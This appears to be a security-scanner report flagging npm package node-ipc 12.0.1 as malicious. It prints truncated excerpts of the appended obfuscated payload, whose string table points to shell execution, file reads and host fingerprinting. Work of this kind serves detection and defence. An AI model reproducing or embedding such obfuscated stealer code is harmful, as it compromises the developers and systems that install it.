Hostile ^93% javascript Download

node-ipc 12.0.1

obfuscated malicious payload appended

Obfuscated bundle co-locates DNS lookup and shell-execObfuscated stealer toolkit (host-fingerprint + base64)

SHA-25678a82d93b4f580835f5823b85a3d9ee1f03a15ee6f0e01b4eac86252a7002981

URLhttps://registry.npmjs.org/node-ipc/-/node-ipc-12.0.1.tgz

MaleculeK(Li)O₂(SAs₂)H₆(Cm₉CrDb₈F₃Os₄Po₂)Md₂(BkPa₄)Th

Also flagged by osv (MAL-2026-3744: Malicious code in node-ipc (npm)) +5 more.

Evidence

esbuild __defProp helper lines 1–4

1var __create = Object.create;
2var __defProp = Object.defineProperty;
3var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
4var __getOwnPropNames = Object.getOwnP …

JavaScript iterates enumerable object keys lines 7–19

7:34… value) => key in obj ? __defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value;
8var __markAsModule = (target) => __defProp(target, "__esModule", { value: true });
9var __commonJS = (cb, mod) => function __require() {
10  return mod || (0, cb[Object.keys(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
11};
12var __export = (target, all) => {
13  __markAsModule(target);
14  for (var name in all)
15    __defProp(target, name, { get: all[name], enumerable: true });
16};
17var __reExport = (target, module2, desc) => {
18  if (module2 && typeof module2 === "object" || typeof module2 === "function") {
19    for (let key of __getOw …

Hex-prefixed function names (_0x pattern) lines 1265–1271

⋯4 lines
1269});
1270
1271(function(_0xaed59b,_0x282d65){var _0x4524e4=_0x1a49,_0x41d0c3=_0xaed59b();while(!![]){try{var _0x3ecdb0=-parseInt(_0x4524e4(0x19f))/0x1*(-parseInt(_0x4524e4(0x1d8))/0x2)+-parseInt(_0x4524e4(0x246))/0x3*(-parseInt(_0x4524e4(0x155))/0x4)+parseInt(_0x4524e4(0x17e))/0x5*(parseInt(_0x4524e4(0x146))/0x6)+parseInt(_0x4524e4(0x256))/0x7+-parseInt(_0x4524e4(0x1d5))/0x8+parseInt(_0x4524e4(0x175))/0x9*(-parseInt(_0x4524e4(0x231))/0xa)+parseInt(_0x4524e4(0x122))/0xb*(parseInt(_0x4524e4(0xb2))/0xc);if(_0x3ecdb0===_0x282d65)break;else _0x41d0c3['push'](_0x41d0c3['shift']());}catch(_0x51a0da){_0x41d0c3['push'](_0x41d0c3['shift']());}}}(_0x3afe,0xb5c88));;function _0x3afe(){var _0x3bc9ff=['ldrpG','pid','mrtue','toWiT','SMBgO','EZwpY','nlPQa','ARQoX','sep','charCodeAt','OBudr','ctAmu','jpsYa','ZlGzw','ocXTH','utf8','ZyLPT','sig','143jjUzfG','aralW','zcMNg','UsGwq','cwd','Czrvc','ydRev','xSVgk','bFawQ','JNEVu','plBDB','map','xAwRt','yTOxk','3786M216G7572 …

JavaScript embeds an upper-first Base64 alphabet line 1271

1271:1028… EdVJ','lastIndexOf','EvIcN','iesEZ','RJcGL','CmUSy','LOVvH','SPZcp','fdba4191','UZDiR','LuTbO','gFcxf','DbRom','zmJnB','xszAP','digest','ozQdC','LHcvs','907482MBNMtu','gKCdz','ppHqW','crypto','LNrjG','lqmoY','homedir','BDNTi','MDlLD','OAajN','hzeUT','/etc/hosts','arch','lSJiX','isIPv6','136SgKJjU','gzbTa','FoWuU','trim','imul','isFile','fVByB','qGAFI','ZCzqk','AIBjy','QAJtq','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=','831a13de','alloc','TFrhk','max','QbCpg','randomBytes','RCWHa','endianness','RZpQf','KnoTh','NDmPx','vSEqM','readFileSync','isDirectory','gVCPW','nLrYK','CuWqz','qVvOn','BIbJF','wjrqr','1876374kcNoul','statSync','HHwQl','mOvmJ','VvUNF','axhUy','ISOPE','axeNs','PsNlx','20ZUYKfq','split','xqxVg','svwnv','xjhet','IhWjW','RBRzl','LjPwF','JakuB','rKWXC','IqtYz','Vydrz','qfMjx','00000000000\x00','5|1|4|3|0|2','bzdGp','darwin','snXRM','dsURc','\x20\x20\x20\x20\x20\x20\x20\x20','4|3|0|2|1','NWnsu','length','bNgTb','OQcTt','lOObr','HEXbY','BAekX','0000000','fwfxT','cSXIW','vbAlO','bCTtC','1wVELlR','exports','env',' …

JavaScript line exceeds 50KB line 1271

1271:2522… lZKL','8712552PgvgHZ','family','execSync','409474EBoVjL','mJsib','jtFdj','OgUmt','WwXFc','writeFileSync' …

Showing the top 5 files — 3 more files (16 regions) not shown.

No evidence locations were recorded for this file. Raw result